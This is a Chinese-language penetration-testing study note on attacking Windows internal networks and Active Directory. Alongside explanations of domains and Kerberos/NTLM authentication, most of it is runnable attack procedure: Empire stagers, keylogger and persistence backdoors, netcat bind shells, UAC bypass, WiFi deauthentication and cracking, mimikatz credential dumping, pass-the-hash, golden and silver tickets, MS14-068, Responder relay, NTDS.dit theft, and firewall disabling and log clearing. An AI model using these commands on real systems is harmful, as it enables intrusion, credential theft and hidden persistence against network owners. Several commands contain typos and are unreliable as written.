内网渗透
一、内网介绍
1. 局域网
- 局域网,指的是在某一区域内由多台计算机互联成的计算机组
- 可以实现文件管理、应用软件共享、打印机共享、电子邮件等功能
2. 工作组
- 最常见最简单最普通的资源管理
- 将不同的电脑按功能区别列入不同的组中
3. 域
- 有安全边界的计算机集合【在同一个域中一个域中的用户无法访问另一个域中用户的资源】
4. 域控
- 在域模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,成为域控制器【Domain Controller,简称DC】
- 一般都是通过DNS来找到域控
5. 父域和子域
-
出于管理和其他的要求,需要在网络中划分很多域,第一个为父域,各分部的为子域
-
a.com为父域,则b.a.com为子域
6. 域树
- 指若干个域通过建立信任关系而组合成新的集合【父域+子域的组合】
7. 域深林
- 多个域树进行合并
8. 域名服务器【DNS】
- 用于域名和IP之间的转换的服务
9. 域中成员分类
- 域控制器
- 成员服务器
- 客户机
- 独立服务器
10. 域内权限组
-
域本地组
域本地组主要用于授予本域内资源访问权限,不能嵌套其他组使用
-
全局组
可以嵌套在其他组,可以在域深林的任何域内指派权限
-
通用组
通用成员来自域深林中任何域的用户账号,全局组和其他通用组,可以在该域深林的任何域中指派权限
可以嵌套其他组中,非常适合在域深林以内的跨域访问中使用
-
A-G-DL-P策略
指用户账号添加到全局组中,将全局添组加到域本地组中,然后为域本地组分配资源权限
二、内网信息收集
- 当渗透进入内网后,对网络拓扑图一无所知,对当前机器进行分析、当前机器所处的网络进行分析、对机器所处的域进行分析
-
当前机器分析
判断当前主机是什么服务【web服务器、开发测试服务器、公共服务器、文件服务器、DNS服务器等等】
根据主机名、文件、网络连接情况等分析
-
当前网络分析
对所处的内网进行全面数据收集和分析整理,绘制出大概的网络拓扑图
-
当前域分析
判断机器所处的域是哪个【DMZ、办公区、核心区等】
1. 本机信息收集
- 包括一些操作系统、版本号、权限、内网IP段、杀毒软件、端口、服务、补丁【更新率】、网络连接、共享、会话等
- 如果是域内主机的话,操作系统、版本号、补丁、服务、杀毒软件等一般都是一起装的
1. 手动信息收集
- 系统信息
| 指令 | 作用 |
|---|---|
| systeminfo | 查看系统补丁 |
| whoami | 查看当前用户名 |
| whoami /priv | 查看当前用户权限 |
| wmic useraccount get name,sid | 查看所有用户的SID |
| hostname | 主机名 |
| net user | 列出所有用户 |
| net user mpy | 列出mpy用户的所有信息 |
| net use \\192.168.61.155 "1234.a" /u:"administrator" | 连接SMB |
| net user /domian | 查看当前用户是否在域中 |
| net user 用户名 密码 /add | 添加新用户 |
| net localgroup | 列出所有组 |
| net localgroup administrators | 列出组中所有成员 |
| net localgroup administrators mpy /add | 将mpy用户添加至管理员组 |
| net start | 查看所有启动的服务 |
| net share | 查看共享 |
| wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装的补丁 |
| wmic service list brief | 查询本机服务 |
| wmic startup get command,caption | 查看启动程序 |
| schtasks /query /fo LIST /v | 查看计划任务 |
| query user || qwinsta | 查看在线用户 |
| qwinsta | 查看电脑是否有其他人登录 |
- 网络信息
| 指令 | 作用 |
|---|---|
| ipconfig | 网络配置信息 |
| ipconfig /all | 详细的网络配置信息 |
| ipconfig /displaydns | 显示DNS缓存 |
| ipconfig /flushdns | 刷新DNS缓存信息 |
| route print | 打印路由表 |
| arp -a | 打印arp表 |
- 其他信息
| 指令 | 作用 |
|---|---|
| netsh firewall show config | 查看防火墙配置信息 |
| netsh firewall set opmode disable | 关闭防火墙【win2003之前】 |
| netsh advfirewall set allprofiles state off | 关闭防火墙【win2003之后】 |
| net statistics workstaton | 查看开机时间 |
| tasklist | 查看进程 |
| tasklist /svc | 列出服务任务 |
| driverquery | 列出所有驱动 |
| sc query | 列出所有服务 |
| dir /s foo==Linux指令.xmind 【就会在当前目录搜索该文件】 | 在目录中搜索文件【文件夹】 |
| type 1.txt | 打印出内容 |
| (New-Object System.Net.WebClient).DownloadFile("下载地址","保存路径") | 利用ps远程下载文件 |
2. 工具扫描
- nmap
- s扫描器
- masscan
- WMIC脚本
- WindowsEnum.ps1脚本
3. 其他方法
- 查看共享链接记录【win+r输入
\\,在输入1,查看是否有记录】 - ftp共享记录【打开我的电脑,搜索栏输入
ftp:\\】 - 远程连接记录【win+r输入
mstsc查看是否有记录】 - wireshark开启混杂模式查看流量
2. 域环境信息收集
- 查看当前权限
| 指令 | 作用 |
|---|---|
| whoami | 查看当前权限 |
| whoami /all | 获取SID |
| wmic useraccount get name,sid | 查看所有用户的SID |
- 判断域控
| 指令 | 作用 |
|---|---|
| net time /domain | 判断是否是主域 |
| net config workstatic | 变向的查DNS和域控信息 |
| systeminfo | 查看域信息 |
| netdom query pdc | 查看域的主控机器名 |
- 其他信息
| 指令 | 作用 |
|---|---|
| net accounts /domain | 查看密码信息 |
| nltesst /domain_trusts | 查看域信任信息 |
- 通过msf返回meterpreter
run winenum
3. powershell信息收集
kali下面的一个工具powersploit+meterpreter配合
- 查看powersploit的目录
powersploit // 运行程序
cd Recon // 切换到脚本目录
ls // 查看脚本
- meterpreter加载powershell
load powershell // 加载powershell
powershell_import /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 // 加载powershell脚本
powershell_execute get-NetDomain //执行命令





4. empire
https://github.com/EmpireProject/Empire
cd setup
./install.py
./empire
help帮助
工作模式为侦听和反弹会话
1. 设置侦听
listeners 进入侦听模式
userlistener http 使用http协议侦听
info 查看设置信息
set Name test 设置侦听模块的名称
set Port 81 设置侦听的端口【端口改变,IP后面的端口也得改变】
set Host IP:81 设置侦听的IP
execute 执行侦听
back 返回上一级listener目录下
list 查看侦听的列表
kill test 结束侦听
2. 生成木马
- 使用dll文件
进入listeners
usestager 空格+2次table查看可以使用的木马文件
usestager windows/dll 使用dll木马
user Listener test 调用侦听接口
excute 执行木马
将生成的dll文件放入目标机器运行等上线
- 使用powershell
配置号listeners监听后,进入listener模块下
launcher powershell test 调用test侦听模块来生成对应的免杀木马,将生成好的powershell指令放到目标机器执行会得到一个shell
agents 查看会话
rename 会话名 test1 修改会话名称
3. 连接主机基本指令
| 指令 | 作用 |
|---|---|
| agents | 查看会话主机列表 |
| rename 会化名 test1 | 修改会话名称 |
| interact test1 | 进入会话1 |
| help | 查看帮助 |
| pwd | 查看目录 |
| getuid | 获取用户身份 |
| getpid | 查看进程号 |
| help agentcmds | 查看可以使用的命令 |
| shell net view【shell ipconfig】 | 调用cmd命令 |
| mimikatz | 获取hash |
| creds | 整理hash |
| creds export /root/x.cvs | 保存hash密码到x.csv文件中 |
| list stale | 查看拾取连接的主机会话 |
| remove stale | 清空失去连接的主机 |
4. 信息收集模块
usemodule colletion/ + table查看可用模块
usemodule colletion/screenshot // 截屏
execute
back
usemodule colletion/keylogger // 键盘记录
execute
back
usemodule colletion/clipboard_monitor // 抓取剪切板内容
execute
back
usemodule situational_awareness/network/arpscan // arp扫描内网存活主机
set Range 192.168.100.1-192.168.100.254
execute
back
usemodule situational_awareness/network/powerview/share_finder // 列出域内所有共享
execute
back
usemodule situational_awareness/host/wineum // 查看windows信息
execute
back
usemodule situational_awareness/network/powerview/user_hunter // 查看域管理员登录过那台服务器
execute
back
usemodule situational_awareness/network/powerview/get_domain_controller // 获取域控制器
execute
5. 提权
usemodule privesc/bypassuac // 设置绕过UAC
set Listener http // 设置侦听模块
execute
这里设置的侦听模块要和前面的监听模块一样
提权成功后会返回一个会话,会话中的*代表着system权限
back
usemodule privesc/bypassuac_wscript
set Listener http
execute
agents // 查看会话
6. 后门
usemodule lateral_movement/invoke_wmi_debugger // 5次shift后门
set Listener http
set TargetBinary sethc.exe
set ComputerName admin-pc.test.testlab
execute
usemodule persistence/userland/registry // 注册表后门
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
set Listener http
execute
三、内网穿透
1. NC使用
IP1 :
192.168.0.100和 IP2 :192.168.0.101IP1是Windows机器,IP2是Linux机器
1. 未加密通信
-
IP1输入:
nc -l -p 22222 -
IP2输入:
nc 192.168.0.100 22222-l : 代表这台电脑是接受者 -p : 指定传输端口- 这样既可互相通信【PS:Windows和Linux的编码形式不同,所以输入汉字可能存在乱码,但同一个系统传输不会存在乱码】
2. 文件传输
1、文件传输
-
IP1【传输文件的】:
nc -v -w 30 -l -p 22222 < C:\Users\30352\Desktop\1.php -
IP2【接收文件的】:
nc -v -w 5 192.168.0.100 22222 > /home/mpy/123.php-v : 代表两者屏幕会有反馈 -w : 代表nc在传输开始计时前等待的秒数,也表示传输完成后多少秒断开 < : 提取文件,并将它放入接受者电脑中 > : 从一台机器中提供输出的文件,并把它放入新的文件
2、目录传输
- IP1【传输目录的】 :
tar -zcvf - 目录名 | nc -l -p 22222 -w 15 - IP2【接收目录的】 :
nc 192.168.0.100 22222 -w 3 | tar -zxvf -
传输目录的
-w的15秒【存在-l的情况下】指的是开启本地监听如果15秒内每人连接就断开监听,或者是传输完毕后15秒后断开连接
接受目录的
-w的3秒指的是3秒内没有连接到指定IP和端口就断开连接,或者是传输完毕3秒后断开连接
-
IP1【接受目录的】 :
nc -l -p 22222 -w 15 | tar -zxvf - -
IP2【传输目录的】:
tar -zcvf - -目录名 | nc -l -p 192.168.0.100 22222 -w 3-zcvf : 压缩文件 -zxvf : 解压文件
3. 创建合法的远程外壳
远程外壳(英语:remote shell,缩写:rsh)是一个命令行界面的计算机程序,可以作为另一个用户在计算机网络中的另一台计算机上执行shell命令
1、通过Windows远程执行cmd控制Windows
- IP1输入 :
nc -Lp 22222 -vv -e cmd.exe - IP2输入 :
nc 192.168.0.100 22222- IP2就可以在自己电脑上执行IP1的电脑
-L : 电脑持续监听指令的状态【其他连接断开还会继续监听其他连接,不会断开】
-vv : 详细的输出
-e : 打开安全漏洞
cmd.exe : nc执行这个指令可以在一台远程电脑上获得
2、通过Linux远程执行/bin/bash来控制Linux
- IP2输入 :
sudo nc -lp 22222 -e /bin/bash - IP1输入 :
nc 192.168.0.101 22222
4. 加密传输信息
使用 cryptcat 进行加密传输
-
IP1输入 :
cryptcat -k admin -l -p 22222 -
IP2输入 :
cryptcat -k admin 192.168.0.100 22222-k : 使用密码或者堆成秘钥生成 admin : 代表密码【两者必须一致】
2. 内网穿透
-
regorg+全局代理
regorg :获取webshell后,通过上传php脚本搭配py脚本来反向代理
-
ew
四、横向移动
- 了解网络【信息收集】
- 分析网络中的存活主机【PC/Server】
- 分析服务、端口
- 扫描器分析服务
- 欺骗
- 爆破
- 漏洞
- 钓鱼
- 抓取流量
1. arp欺骗
1. 工具
- 低版本
- cain
- NetFuck
- 高版本
- foca evail
- ettercap
2. 功能
- 域名欺骗
- 网页内容解析
- Dns劫持
- 解析欺骗+钓鱼
2. 服务密码攻击
常见的服务协议
-
windows
20、21、23、135/139、443、1433、3389、3306
-
linux
21、22、80、443
1. 工具
-
windows、linux密码爆破
- hydra
- hashcat
- hash-identifier【查询密文加密方式】
- john+hashdump7
-
压缩包
- fcrackzip
- rarcrack
-
wifi密码破解
-
通过USB无线网卡【或者通过修改(欺骗)MAC】
-
清楚本机网卡的进程【
airmog-ng check kill】 -
开启监听【
airmog-ng start 网卡名】 -
它会自动创建一个wlan0mon网卡名
-
建立监听【
airmog-ng wlan0mon】 -
抓包【
airodump-ng -c 4 -w result --bssid 目标MAC wlan0mon】 -
查看和无线交互的主机,记录其MAC地址,对其进行攻击,让其掉线,重连后抓到它的握手包
【
aireplay-ng -0 10 -a 目标的MAC地址 -c 要攻击的客户端MAC wlan0mon】 -
上线成功后,爆破密码【
aircrack-ng -w 字典文件 保存的包文件(xxx.cap)】【还可以通过hashcat离线爆破】
-
3. shell连接
-
psexec【开启445端口】
- 调用目标CMD
得知道目标IP、用户、密码
psexec.exe \\目标IP -u 用户名 -p 密码 cmd psexec.exe \\192.168.1.111 -u administrator -p 123.com cmd -
incognito
- 劫持token
得知道目标IP、用户、密码
# 查看远程主机可利用的token incognito.exe -h 目标IP -u 用户名 -p 密码 list_tokens -u incognito.exe -h 192.168.1.111 -u admin -p 123.com list_tokens -u # 调用远程机器的本地的系统权限的cmd.exe【包括DC的token】 incognito.exe -h 目标IP -u 用户名 -p 密码 exceute -c 上条指令列出的token cmd.exe incognito.exe -h 192.168.1.111 -u admin -p 123.com exceute -c "NT AUTHORITY\SYSTEM" cmd.exe # 利用DC的token调用出DC的cmd incognito.exe -h 192.168.1.111 -u admin -p 123.com exceute -c "MPY\administrator" cmd.exe # 创建用户 net user mpy 123.com /add /domain # 提升到domain admins组中 net group "domain admins" mpy /add /domain # 查看域管理员组 net group "domain admins"
4. 漏洞利用
1. SMB
SMB(Windows)和Samba(Linux)【文件共享】
# 查看共享文件
smbclient -L 192.168.1.111 -U administrator
# 进入共享文件夹
smbclient \\192.168.1.111\test -U administrator
2. RDP
- 本地rdp密码读取【当远程登陆时,如果勾选了保存凭据,则可以通过rdp密码读取】
- 查看当前服务器有无连结果别人的记录
# 查看别人连接记录
cmdkey /list
- 查看本地连接的一些认证信息
# 查看凭据保存路径
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
- 利用mimikatz将一些密钥信息读取出来【guidMasterKey、pdData】
# 使用mimikatz进行读取
mimikatz.exe
dpapi::cred /in:保存的路径
dpapi::cred /in:C:\Users\admin\AppData\Local\Microsoft\Credentials\凭据文件名
- 利用mimikatz来获取本机的所有密码【利用上面得到的guidMasterKey来匹配sekurlsa::dpapi full后获得的gid,从而得到masterkey】
mimikatz.exe
log
privilege::debug
sekurlsa::dpapi full
- 利用读取的guidMasterKey和认证信息做一个匹配,获取最终密码
# 接下来需要使用的是guidMasterKey【凭据的FUID】、pbData数据【凭据的加密数据】
dpapi::cred /in:C\Users\admin\AppData\Local\Microsoft\Credentials\认证信息 /masterkey:获取到的dpData
3. 清除RDP连接历史记录
# 切换到Default.rdp文件目录
cd %userprofile%\documents\
# 更改文件属性。默认时隐藏的
attrib Default.rdp -s -h
# 删除文件
del Default.rdp
五、域渗透
1. Kerberos和NTLM认证
1. kerberos认证协议
1. 术语
client :客户端【发送请求的一方】
server :服务端【接受请求的一方】
KDC :秘钥分发中心
AS :认证服务器【用来认证客户端身份并且发送客户端用于访问TGS的TGT】
TGT :票据授予票据
TGS :票据授予服务器【用来发放整个认证过程以及客户端访问服务端时所需要的服务授予票据】
2. 流程
1. 第一次通信
- 为了获得能够用来访问服务端服务的票据,客户端首先需要来到
KDC获得服务授予的票据,但是客户端是第一次访问KDC,此时的KDC不确定该客户端的身份,所以第一次通信的目的是为KDC认证客户端省份,确认客户端是一个可靠且有访问KDC权限的客户端
目的 :证明我是我自己
-
客户端向KDC以铭文方式发起请求【包含了用户名/IP/时间戳】
-
KDC中的
AS接受请求后去Kerberos认证数据库中查询该用户名是否存在,并不会判断身份的可靠性 -
如果用户名不存在,认证失败,服务结束
-
如果用户存在,则AS认证中心会认为用户存在,此时会返回响应给客户端,其中包含两个部分
- 第一个部分为
TGT【票据授予票据】,客户端需要使用TGT去KDC的TGS获取访问网络服务所需要的Ticket【服务授予票据】
TGT中包含;额Kerberos数据库总存在的该客户端的Name、IP、当前时间戳、客户端即将访问的TGS的Name、TGT的有效时间以及一把用于客户端和TGS间进行通信的
Session_key[CT_SK]TGT使用了TGS密钥加密,客户端解密不了
- 第二个部分是试用客户端密钥加密的一段内容
包括适用于客户端和TGS通信的
Session_key[CT_SK]、客户端即将访问的TGS的Name以及TGT的有效时间合约一个当前时间戳该部分内容使用客户端密钥加密【客户端拿到后可以通过自己的密钥进行解密】
- 第一个部分为
2. 第二次通信
- 此时的客户端收到了来自KDC【其实是AS】的响应,并获取了其中的两部分内容
- 客户端用自己的密钥将第二部分进行解密【获得了时间戳、自己将要冯文的TGS信息和用于TGS通信时的Session_key[CT_SK]】
- 先根据时间戳判断改时间戳与自己发送请求时的事件之间的差值是否大于5分钟
- 大于5分钟,AS会认为是伪造的,认证结束
- 如果时间戳合理,客户端便准备向TGS发动请求
目的 :为了获取能够访问目标网络的服务授予票据Ticket【好比进入动物园需要的门票】
客户端
- 客户端将三部分内容交给KDC中的TGS
- 客户端使用CT_SK加密将自己的客户端信息发给KDC【客户端名、IP、时间戳】
- 客户端将自己想要访问的Server服务以明文的方式发送给KDC
- 客户端将使用TGS密钥加密的TGT也原封不动的携带给KDC
TGS
-
此时的KDC中的TGS收到了来自客户端的请求
- 根据客户端明文传输过来的Server服务IP查看当前kerberos系统中是否存在可以被用户访问的服务【存在,继续,不存在,认证失败】
-
TGS使用自己的密钥将TGT中的内容进行解密,此时看到了AS认证过后并记录的用户信息【CT_SK、时间戳信息等】,根据时间戳判断此次通信是否真实可靠
-
如果时间戳正常,TGS会使用CK_SK对客户端的第一部分内容进行解密【使用CT_SK加密的客户端信息】,达到其中的用户信息和TGT中的用户信息比对
- 全部相同会认为客户端身份正确
-
KDC将返回响应给客户端,其中包括两部分
- 用于客户端访问网络服务的使用Server密码加密的
ST[Server Ticket],
其中包括客户端的Name、IP、需要访问的网络服务的地址Server、IP、ST的有效事件、时间戳以及用于客户端和服务端之间通信的CS_SK
- 第二部分 :使用CT_SK加密的内容
包括CS_SK和时间戳、ST的有效时间
在第一桶洗中,AS已经将CT_SK通过客户端密码加密给了哭护短,且客户端可以解密,所以该部分客户端收到后也可以自己解密
- 用于客户端访问网络服务的使用Server密码加密的
3. 第三次通信
- 此时的客户端收到了来自KDC【TGS】的响应,使用本机缓存在本地的CT_SK解密出第二部分内容【第一部分的ST通过Server密码加密,无法解密】
- 检查时间戳没问题后取出其中的CS_SK准备向服务端发起最后的请求
客户端
- 客户端使用CK_SK将自己的主机信息和时间戳进行加密作为交给服务端的第一部分内容,然后将ST作为第二部分内容发送给服务端
服务端
- 服务器此时收到了来自客户端的请求,会使用自己的密钥【Server密钥将客户端第二部分进行解密,核对时间戳后将其中的CS_SK取出】
- 使用CS_SK将客户端发来的第一部分内容进行解密,从而获得经过TGS认证过后的客户端信息,此时他将这部分信息和客户端第二部分内容带来的额自己的信息进行比对,最正确丁客户端就是经过KDC认证的具有真实身份的客户端
- 服务端返回一段使用CT_SK加密的表示接收请求的响应给客户端,在客户端收到请求之后,用缓存在本地的CS_ST解密之后确定了服务端身份【服务端在通信的过程中还会使用数字证书证明自己的身份】
简单流程

DC如何验证用户合法
会在AS数据库用户名如果存在
会返回一个64位的加密值,而这个加密值是通过你的用户密码加密的
你得本地拿自己的密码进行解密
【这个是用来通信的,和TGS通信都是利用这个秘钥】
主要区别于TGT和TGS
- TGT是针对域内所有服务而言的票据【黄金票据,通用】
- TGS是针对于某个服务而言的票据【白银票据,专用】
2. NTLM认证协议
1. 流程
用户登录服务器 --> 提供了一个用户名 --> 服务器收到后 --> 判断用户名合法 -->
服务器从数据库中的用户取出对应的NTLM哈希值去和随机生成的16位值进行混合加密=>生成一个密文 -->
同时发送给用户那串16位随机值 --> 用户接收到后自己本地对密码进行NTLM加密,之后NTLM哈希值去和随机生成的16位值进行混合加密 -->
发送给服务器这段密文 --> 服务器接收到后进行比较 --> 相同则认证成功,反之,认证失败
2. NTLM加密
-
格式
用户名:SID:LM-HASH:NT-HASH
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
-
流程
hex编码 --> unicode编码 --> md4加密 => 生成了NTLM哈希值
2. 域安全策略攻击测试
1. GPP漏洞利用
- 域内文件夹
\SYSVOL介绍 - 在域中,存在一个默认的共享路径,
\\domain\SYSVOL\domain【\\mpy.com\SYSVOL\mpy.com】 - 所有域内的主机都可以访问,里面保存了组策略相关数据,包含登录脚本配置等信息
2. ps获取密码
3. PTH hash传递
PTH【pass the hash】攻击测试
- 获取一台主机的本地管理员组成员账号的口令NTLM后 ,不需要破解密码,使用PTH方法将管理员账号及NTLM注入当前会话作为凭据
- 利用该凭据可以渗透获取周围的主机的管理权限,对方需要存在相同账号
- 拿到hash后和一些用户进行捆绑,注入到内存中,得到一个身份,用这个身份打开远程主机的CMD,如果远程主机存在这个身份就会调用CMD
mimikatz.exe
log
# 提升权限
privilege::debug
# 抓取密码【两个都可以,推荐第二个】
sekurlsa::logonpasswords
lsadump::lsa /patch
# hash传递【pth攻击】
sekurlsa::pth /user:administrator /domain:"mpy.com" /ntlm:327a5087d83c664096919afbd40f21c8
登陆用户 域地址 ntlm加密值
这里会弹出一个CMD框 我们先用看看自己是否有权限 dir \\主机名.mpy.cn\c$ 【查看域控C盘】
dir \\主机名.mpy.cn\c$ //如果不知道主机名也可以尝试IP或者直接输入net time查看域控
dir \\10.0.1.14\c$
- 获取到目标权限后但是无法执行cmd,需要用到另一个工具
PsExec.exe
PsExec.exe \\10.0.1.14 cmd //执行完后就获取到了目标主机的cmd
4. 票据伪造
- 通过调用域控CMD创建用户
net user mmm 123.com /add /domain
net group "domain admins" mmm /add /domain
- 查看票据
klist
klist purge // 清除票据
- 查看域控
net time
- 是否有权限访问域控
dir \\IP或\c$
dir \\主机名.域名\c$
白银票据
- 伪造TGS
-
通过hash传递+psexec成功创建域控用户
-
登录域控机
-
获取TGS
mimikatz.exe log privilege::debug # 抓取密码,获得域控的NTLM sekurlsa::logonpasswords -
伪造票据
kerberos::golden /user:用户 /domain:域名 /sid:域控的SID /target:域控的主机名.域名 /services:服务【cifs】 /rc4: NTLMhash值 /ticket:administrator.kiribi -
加载票据
kerberos::ptt administrator.kiribi -
查看是否有权限访问
dir \\IP或\c$ dir \\主机名.域名\c$
黄金票据
域的SID【通过
whoami /all查看】+TGT【krbtgt用户的NTLM-hash】
- 伪造TGT
-
通过hash传递+psexec成功创建域控用户
-
登录域控机
-
获得TGT
mimikatz.exe log privilege::debug # 获取krbtgt的hash和SID【下面两条都可以】 lsadump::dcsync /user:krbtgt lsadump::lsa /patch -
伪造票据
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi -
加载票据
kerberos::ptt administrator.kiribi -
查看是否有权限访问
dir \\IP或\c$ dir \\主机名.域名\c$
5. MS14-068漏洞利用
- 域用户提升为域管理员【mpy --> administrator】
- 利用漏洞直接生成访问票据【TGT】
MS14-068.exe -u用户名@域名 -p 密码 -s 普通用户的SID -d 域控主机名.域名
- mimikatz直接导入
mimikatz.exe "kerberos::ptc 证书名" exit
- 查看是否有域控权限
dir \\域控名.域名\c$
- psexec连接域控的CMD
psexec.exe \\域控名.域名 cmd
6. 烂土豆提权
- 本地的普通域用户提升为本地的管理员权限【www-data --> administrator】
本地提权写自己的IP
potato.exe -ip 自己的IP -disable_exhaust true -cmd "c:\windows\system32\cmd.exe /K net user 用户名 密码 /add&&net localgroup administrators 用户名 /add"
7. Responder-WPAD提权
1. Responder获取hash
- 可以污染LLMNR和NTB-NS请求【域网络环境中】
具体流程
- 当网络中的域用户通过浏览器去访问的时候,会自动去找网络中是否有代理更新的服务器
- kali伪装成这个服务器,用户的浏览器就会向kali发送请求
- kali伪装的服务器就会先验证你的身份【用户输入账号和密码】,kali收到请求后会显示传输的账号和NTLMhash值
实现过程
- kali开启监听【确保80端口没有被占用】
responder -I eth0
- hashcat破解NTLMhash
hashcat -m 5600 hash.txt -a 0 passwd.txt --force
2. 中继hash攻击
- 通过Responder获取到hash之后,不去爆破密码,而是利用这个hash的身份去做其他事情【调取这个用户的远程cmd等】
- 修改配置文件【因为需要将流量进行转发,所以将监听的两个协议关闭】
# 修改responder.conf
vi /usr/share/responder/responder.conf
将SMB和HTTP修改成OFF
-
运行RunFinger.py脚本来识别将SMB signing设置为False的网络中的HOST机器
因为只能对SMB signing设置为True的机器发起攻击
脚本会检测IP的范围来检查现有的HOSTS的SMB signing是否启用
cd /usr/share/responder/tools
python RunFinger.py -i IP网段[192.168.0.0/24]
- kali开启监听
responder -I eth0
- 切换到responder目录【cd /usr/share/responder/tools】,运行py脚本【进行中继代理】
python MultiRelay.py -t 上面py脚本从网段中扫描出为True的机器IP -u ALL
8. 提取域控的NTDS hash
- 先和域控建建立空链接
net use \\域控IP\ipc$ "密码【123.com】" /user:"用户【mpya\administrator】"
- 使用psexec.exe查看域控是否建立了卷影副本,将文件保存到本地查看
psexec.exe /accepteula // 第一次运行不会弹框
psexec.exe \\域控IP -u "用户【mpya\administrator】" -p "密码" -h cmd /c "vssadmin list shadows" >> \\本机IP\c$\1.txt
- 手工创建卷影副本
psexec.exe \\域控IP -u "用户【mpya\administrator】" -p "密码" -h cmd /c "vssadmin list shadows /for=c:\\本机IP\c$\2.txt"
- 将NTDS文件拷贝到本机
psexec.exe \\域控IP -u "用户【mpya\administrator】" -p "密码" -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit \\本机IP\c$"
- 将system文件拷贝到本机
psexec.exe \\域控IP -u "用户【mpya\administrator】" -p "密码" -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\本机IP\c$"
- 删除卷影副本【两条都可以】
psexec.exe \\域控IP -u "用户【mpya\administrator】" -p "密码" -h cmd /c "vssadmin create shadow /for=c: >> \\本机IP\c$\4.txt" /accepteula
psexec.exe /accepteula \\域控IP -u "用户【mpya\administrator】" -p "密码" -h cmd /c "vssadmin create shadow /for=c: >> \\本机IP\c$\4.txt"
- 读取ntds文件的hash内容
- 通过secretsdump.py破解
git clone https://github.ocm/SecureAuthCorp/impacket
./secretsdump.py -system /root/Desktop/SYSTEM -ntds /root/Desktop/ntds.dit -user-status LOCAL >/root/Desktop/cracked
less /root/Desktop/cracked|grep ":::"
./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit -user-status local
- 通过hashcat破解
hashcat -m 1000 -a 0 -o word.txt --remove win2.hash pass.txt
六、跨域渗透
- 常规渗透方法【利用web漏洞跨域获得权限】
- 利用已知散列值进行哈希传递攻击或者伪造票据
- 利用域信任关系进行跨域攻击
1. 域信任
域信任关系分为:单向域信任和双向域信任
-
单向域信任
- 是在两个域之间创建的信任路径,即在一个方向上是信任流,在另一个方向上是访问流
- 在收信人域和信任域之间的单向信任中,收信人域内的用户(或计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源
-
双向信任
- 是两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流
2. 利用域信任关系跨域
- 域信任的作用是解决多域环境中的跨域资源共享问题
- 域环境不会无条件的接收来自其他域的凭证,只会接受来自收信人的域的验证
- 在默认情况下,特定的windows域中的所有用户都可以通过该域中的资源进行身份验证,通过这种方式,域可以为其他用户提供对该域中所有资源的安全访问机制,如果用户想要访问当前域边界意外的资源,需要使用信任
- 域信任作为域的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源
- 域信任利用DNS服务器定位两个不同的子域的域控制器,如果两个域中的域控制器都无法找得到另一个域,也就不存在通过域信任关系进行跨域资源共享
3. 跨域渗透
- 查看信任域
nltest /domain_status
在域中,User组中
$符号的账号表示为信任账号
- mimikatz查看基本信息
mimikatz.exe
log
privilege::debug
lsadump::las /patch /user:用户名$
lsadump::trust /patch
- 创建票据
mimikatz.exe
log
kerberos::golden /domain:域名 /sid:当前域的SID sids:指定目标域的SID /rc4:指定信任密钥【NTLMhash值】 /user:用户 /service:krbtgt /target:指定目标域 /ticket:指定保存的票据名
4. 利用krbtgt散列获取目标域权限
在域控获得krbtgt【TGT】散列
mimikatz.exe
log
privilege::debug
lsadump::lsa /patch /user:krbtgt
sekurlsa::krbtgt

浙公网安备 33010602011771号